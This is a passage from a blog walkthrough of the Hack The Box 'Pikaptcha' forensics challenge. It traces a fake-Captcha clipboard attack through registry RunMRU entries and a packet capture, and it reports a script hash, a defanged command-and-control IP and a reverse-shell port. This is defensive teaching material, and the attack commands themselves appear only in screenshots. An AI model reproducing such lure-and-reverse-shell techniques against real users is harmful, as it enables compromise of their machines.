fake &lt;em&gt;Captcha&lt;/em&gt; attacks.&lt;/p&gt;&#xA;&lt;p&gt;But what’s in the toolkit for this investigation? The fun part is — there isn’t one right or wrong approach for this challenge. For this walkthrough, I’ll be demonstrating &lt;strong&gt;NetworkMiner&lt;/strong&gt; and Eric Zimmerman’s &lt;strong&gt;Registry Explorer&lt;/strong&gt; for the bulk of the analysis, but there are many other tools that can accomplish the same things — so feel free to use your preferred tools!&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-your-analysis-environment--extract-the-challenge-file&#34;&gt;Setup Your Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;Hack The Box&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-it-is-crucial-to-understand-any-payloads-executed-on-the-system-for-initial-access-analyzing-registry-hive-for-user-happy-grunwald-what-is-the-full-command-that-was-run-to-download-and-execute-thestager&#34;&gt;Question 1: It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager.&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off this investigation by opening the &lt;strong&gt;Pikaptcha&lt;/strong&gt; challenge file. Inside, we’ll find several artifacts, but the first set we’re interested in are contained in the &lt;code&gt;2024–09–23T052209_alert_mssp_action&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to search for evidence of payload execution. Within the &lt;code&gt;2024–09–23T052209_alert_mssp_action&lt;/code&gt; folder are, among others, the registry artifacts. While there are a couple of places we can check, a great starting point is the &lt;em&gt;Most Recently Used (MRU)&lt;/em&gt; artifacts.&lt;/p&gt;&#xA;&lt;p&gt;These &lt;em&gt;MRU&lt;/em&gt; artifacts are tracked by Windows and can help determine recent interaction with files and applications executed via the Windows Run utility. We can access this information by mounting the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive found in the &lt;code&gt;happygrunwald&lt;/code&gt; user folder.&lt;/p&gt;&#xA;&lt;p&gt;Now that we understand what we’re searching for, let’s look at the how. One excellent tool for searching Registry artifacts is &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Eric Zimmerman’s Registry Explorer&lt;/strong&gt;&lt;/a&gt;. This is a GUI-based tool used to open, browse, and search the registry — very handy!&lt;/p&gt;&#xA;&lt;p&gt;Let’s put this into practice:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;em&gt;Registry Explorer&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;em&gt;File &amp;gt; Load Hive&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Navigate to &lt;code&gt;2024–09–23T052209_alert_mssp_action\C\Users\happygrunwald&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;NTUSER.DAT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; Hold &lt;em&gt;Shift&lt;/em&gt; when selecting the &lt;code&gt;NTUSER.DAT&lt;/code&gt; — this will automatically replay the associated transaction logs. Otherwise, you’ll get a &lt;em&gt;“Dirty Hive”&lt;/em&gt; warning.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;69a5e4e5b9427ff1e7d64f8cc6a36a28_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/69a5e4e5b9427ff1e7d64f8cc6a36a28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Opening the happygrunwald NTUSERS.DAT hive&lt;/p&gt;&#xA;&lt;p&gt;Once loaded, we’re looking for &lt;em&gt;RunMRU&lt;/em&gt;. There are two easy ways to get there. I’ve used the search function to locate it quickly, but you can also use the built-in bookmark under &lt;em&gt;Common &amp;gt; RunMRU (Most recently run programs)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f112f28ecb7d2739934085ad9902b7a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;139&#34; height=&#34;575&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/8f112f28ecb7d2739934085ad9902b7a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: The contents of the RunMRU key&lt;/p&gt;&#xA;&lt;p&gt;Either way, you’ll notice a suspicious &lt;strong&gt;PowerShell&lt;/strong&gt; command listed under the &lt;em&gt;Executable&lt;/em&gt; column that appears to be reaching out to an external IP address to download a script called &lt;code&gt;office2024install.ps1&lt;/code&gt;. Knowing that Happy attempted to download &lt;em&gt;Office&lt;/em&gt; updates and that we’re seeking a command that downloads and executes a stager, we can reasonably determine this is the executed payload we&amp;rsquo;re looking for.&lt;/p&gt;&#xA;&lt;p&gt;To make this easier to see, click the &lt;em&gt;Values&lt;/em&gt; tab so you can right-click and copy the data value. You can remove the &lt;code&gt;\1&lt;/code&gt; at the end as it’s not part of the command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7680c2526e9fb953ebcc04715bcfbdd1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;138&#34; height=&#34;576&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/7680c2526e9fb953ebcc04715bcfbdd1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: The values tab of the RunMRU key&lt;/p&gt;&#xA;&lt;p&gt;Let’s check our work and move on to the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;60791c866a75ab03282e7f46ad6a45ce_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/60791c866a75ab03282e7f46ad6a45ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-at-what-time-in-utc-did-the-malicious-payloadexecute&#34;&gt;Question 2: At what time in UTC did the malicious payload execute?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to determine when the payload we identified in the last question executed. For this, simply click the &lt;em&gt;RunMRU&lt;/em&gt; tab again within &lt;em&gt;Registry Explorer&lt;/em&gt; and check the &lt;em&gt;Opened On&lt;/em&gt; value. This is the time stamp we need.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b4bd478664174f9df57282f6a2e535ae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;546&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/b4bd478664174f9df57282f6a2e535ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Registry Explorer: Viewing the “Opened On” timestamp for the suspicious PowerShell command&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve obtained the value for the execution time, we can start to build our timeline and pivot to searching for follow-on activities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9d75fdd33a754e6ea63c11fa358e5995_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1271px&#34; data-flex-grow=&#34;529&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/9d75fdd33a754e6ea63c11fa358e5995_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-payload-which-was-executed-initially-downloaded-a-powershell-script-and-executed-it-in-memory-what-is-sha256-hash-of-thescript&#34;&gt;Question 3: The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we need to determine the SHA256 hash of the &lt;code&gt;office2024install.ps1&lt;/code&gt; second-stage script. By obtaining the hash of the script, we can search for threat intelligence about the specific file.&lt;/p&gt;&#xA;&lt;p&gt;With limited registry artifacts available, let’s pivot to the second artifact in the challenge file: &lt;code&gt;pikaptcha.pcapng&lt;/code&gt;. This PCAPNG file is a network packet capture containing raw network packet data. We can use this data to gain a deep understanding of the network traffic. Typically, when the topic of packet capture comes up, &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt; is one of the first tools that comes to mind.&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, however, we’re going to use &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NetworkMiner&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, “&lt;/strong&gt;&lt;em&gt;an&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMinerSourceCode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;open source&lt;/em&gt;&lt;/a&gt; &lt;em&gt;network forensics tool that extracts artifacts, such as files, images, emails and passwords, from captured network traffic in PCAP files.&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;While this task can be performed in &lt;em&gt;Wireshark&lt;/em&gt;, using &lt;em&gt;NetworkMiner&lt;/em&gt; instead is extremely beneficial for carving out the file hash of the malicious PowerShell script because &lt;em&gt;NetworkMiner&lt;/em&gt; can automatically reassemble files from the packet capture.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need to convert the &lt;code&gt;pikaptcha.pcapng&lt;/code&gt; file from PCAPNG to PCAP so that we can open it in &lt;em&gt;NetworkMiner&lt;/em&gt;. This is a straightforward process: open the file in &lt;em&gt;Wireshark&lt;/em&gt;, press &lt;em&gt;File &amp;gt; Save As&lt;/em&gt;, and select the &lt;code&gt;Wireshark/tcpdump/…-pcap&lt;/code&gt; file format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4f2c29d99b8b860013fc1029caab5259_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;497px&#34; data-flex-grow=&#34;207&#34; height=&#34;386&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/4f2c29d99b8b860013fc1029caab5259_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: &lt;em&gt;Converting PCAPNG to PCAP for use in NetworkMiner&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Because &lt;em&gt;NetworkMiner&lt;/em&gt; assembles files automatically by default, this might mean you’re introducing malware onto your system if there are malicious files in the PCAP. If your analysis environment has something like &lt;em&gt;Microsoft Defender&lt;/em&gt; running, it may start triggering alerts as the potentially malicious files are assembled. This is one of the reasons it’s important to perform malware analysis in a dedicated, safe environment. Don’t put your data at risk!&lt;/p&gt;&#xA;&lt;p&gt;For example, in my isolated &lt;strong&gt;Flare-VM&lt;/strong&gt; environment, real-time protection is typically turned off, so it doesn’t interfere with analysis. For illustrative purposes, I’ve turned it on. As seen in the screenshot below, the built-in &lt;em&gt;Microsoft Defender&lt;/em&gt; detected malware in the assembled files from this PCAP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;efaf46b48db045147ca686748a7dac18_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;786px&#34; data-flex-grow=&#34;327&#34; height=&#34;244&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/efaf46b48db045147ca686748a7dac18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Microsoft Defender: Alert triggered by NetworkMiner’s file reassembly&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we’ve made a copy of &lt;code&gt;pikaptcha.pcapng&lt;/code&gt; in PCAP format, let’s open it with &lt;em&gt;NetworkMiner&lt;/em&gt;. Once the application is open, use the &lt;em&gt;Files&lt;/em&gt; tab and search for the name of the malicious PowerShell script — &lt;code&gt;office2024install.ps1&lt;/code&gt;. This will display the file contained in the traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0119b7577f68d97be385479e48b1388d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;413px&#34; data-flex-grow=&#34;172&#34; height=&#34;464&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/0119b7577f68d97be385479e48b1388d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Identifying the SHA256 hash of the PowerShell script&lt;/p&gt;&#xA;&lt;p&gt;Finally, right-click the entry and select &lt;em&gt;File Details&lt;/em&gt;, which provides detailed information about the file including the SHA256 hash.&lt;/p&gt;&#xA;&lt;p&gt;579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d881d524f43d6cd8dace27d114a569df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/d881d524f43d6cd8dace27d114a569df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-to-which-port-did-the-reverse-shellconnect&#34;&gt;Question 4: To which port did the reverse shell connect?&#xA;&lt;/h3&gt;&lt;p&gt;Now, you might’ve noticed something strange when we were looking at the &lt;code&gt;office2024install.ps1&lt;/code&gt; payload details in the previous question. Did you catch the blob of encoded strings?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6b90a1643edb341e235da03011f5342e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;447px&#34; data-flex-grow=&#34;186&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/6b90a1643edb341e235da03011f5342e_MD5.png&#34; width=&#34;434&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Noting the Base64 blob within the script contents&lt;/p&gt;&#xA;&lt;p&gt;This is likely a way to evade analysis by Base64 encoding the payload, but it also probably contains some interesting artifacts that’ll help us learn more about the script’s behavior.&lt;/p&gt;&#xA;&lt;p&gt;To understand the contents of the PowerShell script, we’ve got a couple of choices:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pivot to external threat intelligence services like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, assuming the file has been seen before.&lt;/li&gt;&#xA;&lt;li&gt;Manually decode the blob using &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I’ll illustrate both methods — you can choose whichever works best for your workflow.&lt;/p&gt;&#xA;&lt;p&gt;To check &lt;em&gt;VirusTotal&lt;/em&gt;, copy the SHA256 hash we identified in &lt;strong&gt;Question 3&lt;/strong&gt;. Then, use your browser to navigate to &lt;em&gt;VirusTotal&lt;/em&gt; and paste the hash into the search bar. On the analysis page, head to the &lt;em&gt;Behavior&lt;/em&gt; tab and scroll down to &lt;em&gt;Network Communication&lt;/em&gt; under the &lt;em&gt;IP Traffic&lt;/em&gt; header. Here, we can see the observed port used by the reverse shell:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fa759bb0fa72190c9aea8ddeec3d46c7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/fa759bb0fa72190c9aea8ddeec3d46c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the reverse shell destination port&lt;/p&gt;&#xA;&lt;p&gt;A second option is to use a tool like &lt;em&gt;CyberChef&lt;/em&gt; to decode the script manually. To make it easier to copy the encoded content, open the assembled script from &lt;em&gt;NetworkMiner’s&lt;/em&gt; output directory, then open the PowerShell script in a text editor like &lt;em&gt;Notepad++&lt;/em&gt; and copy it to your clipboard.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9dbdaba7c3a80131dc683a723b12c850_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;344px&#34; data-flex-grow=&#34;143&#34; height=&#34;558&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/9dbdaba7c3a80131dc683a723b12c850_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Opening the malicious script contents&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;em&gt;CyberChef&lt;/em&gt;. This will be part of your &lt;em&gt;Flare-VM&lt;/em&gt; environment, but if not, the online version works just as well. Paste the encoded blob into the &lt;em&gt;Input&lt;/em&gt; field and add the &lt;em&gt;“From Base64”&lt;/em&gt; and &lt;em&gt;“Remove Null Bytes”&lt;/em&gt; operations to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b656dada8afa4beb420439007b28d29a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;577&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/b656dada8afa4beb420439007b28d29a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the Base64 to identify the port&lt;/p&gt;&#xA;&lt;p&gt;Voilà! Now that we’ve decoded the script contents, we can see that it’s using the &lt;code&gt;System.Net.Sockets.TCPClient&lt;/code&gt; class to establish a connection over port &lt;strong&gt;6969&lt;/strong&gt; to the same IP address we identified in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;95801b086c2b0d4d4c3e8943db957427_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/95801b086c2b0d4d4c3e8943db957427_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-for-how-many-seconds-was-the-reverse-shell-connection-established-between-c2-and-the-victims-workstation&#34;&gt;Question 5: For how many seconds was the reverse shell connection established between C2 and the victim’s workstation?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve uncovered the destination IP and the port used by the reverse shell, our next objective is to determine how long the connection was active. For this task, let’s return to the &lt;em&gt;Hosts&lt;/em&gt; tab in &lt;em&gt;NetworkMiner&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On the &lt;em&gt;Hosts&lt;/em&gt; tab, input the command and control IP address we identified in the script to filter traffic for that host:&lt;/p&gt;&#xA;&lt;p&gt;43[.]205[.]115[.]44&lt;/p&gt;&#xA;&lt;p&gt;Next, expand the IP address and turn your attention to the &lt;em&gt;Incoming Sessions&lt;/em&gt; header to identify the session over port &lt;code&gt;6969&lt;/code&gt;, including the session start and end times.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;49329196bfc2f513bcfa60b3fd00f4e1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/49329196bfc2f513bcfa60b3fd00f4e1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Determining the session start and end times to the C2 IP and port&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the timestamps, we’ve almost got the answer. All we need to do is calculate the duration of the connection in seconds. To work a little smarter, we can leverage an online tool like the &lt;a class=&#34;link&#34; href=&#34;https://www.calculator.net/time-duration-calculator.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Time Duration Calculator&lt;/a&gt; from &lt;strong&gt;Calculator.net&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.calculator.net/time-duration-calculator.html?starthour=05&amp;amp;startmin=07&amp;amp;startsec=48&amp;amp;startunit=p&amp;amp;endhour=05&amp;amp;endmin=14&amp;amp;endsec=31&amp;amp;endunit=p&amp;amp;ctype=1&amp;amp;x=Calculate&#34;  title=&#34;https://www.calculator.net/time-duration-calculator.html?starthour=05&amp;amp;startmin=07&amp;amp;startsec=48&amp;amp;startunit=p&amp;amp;endhour=05&amp;amp;endmin=14&amp;amp;endsec=31&amp;amp;endunit=p&amp;amp;ctype=1&amp;amp;x=Calculate&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Time Duration Calculator&lt;/strong&gt;&#xA;_Free calculator to get the number of hours, minutes, and seconds between two times. Also, a full version to calculate…_www.calculator.net&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.calculator.net/time-duration-calculator.html?starthour=05&amp;amp;startmin=07&amp;amp;startsec=48&amp;amp;startunit=p&amp;amp;endhour=05&amp;amp;endmin=14&amp;amp;endsec=31&amp;amp;endunit=p&amp;amp;ctype=1&amp;amp;x=Calculate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Simply input the times we identified in &lt;em&gt;NetworkMiner&lt;/em&gt; to determine that the connection was active for &lt;strong&gt;403 seconds&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0216700d6ce94eaeb11e6a3cec0ff650_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/0216700d6ce94eaeb11e6a3cec0ff650_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Calculator.net: Calculating the time duration for the C2 connection in seconds&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e2c49fb104badfde0ec686d1586238e1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1297px&#34; data-flex-grow=&#34;540&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/e2c49fb104badfde0ec686d1586238e1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-attacker-hosted-a-malicious-captcha-to-lure-in-users-what-is-the-name-of-the-function-which-contains-the-malicious-payload-to-be-pasted-in-victims-clipboard&#34;&gt;Question 6: Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim’s clipboard?&#xA;&lt;/h3&gt;&lt;p&gt;For our final objective, we need to find the function on the website that copies a malicious &lt;em&gt;PowerShell&lt;/em&gt; command to the victim’s clipboard as part of a fake &lt;strong&gt;Captcha&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we can leverage &lt;em&gt;NetworkMiner’s&lt;/em&gt; assembled files to view a reconstruction of the &lt;code&gt;index.html&lt;/code&gt; page visited by Happy and used to facilitate the compromise. For example, we can identify 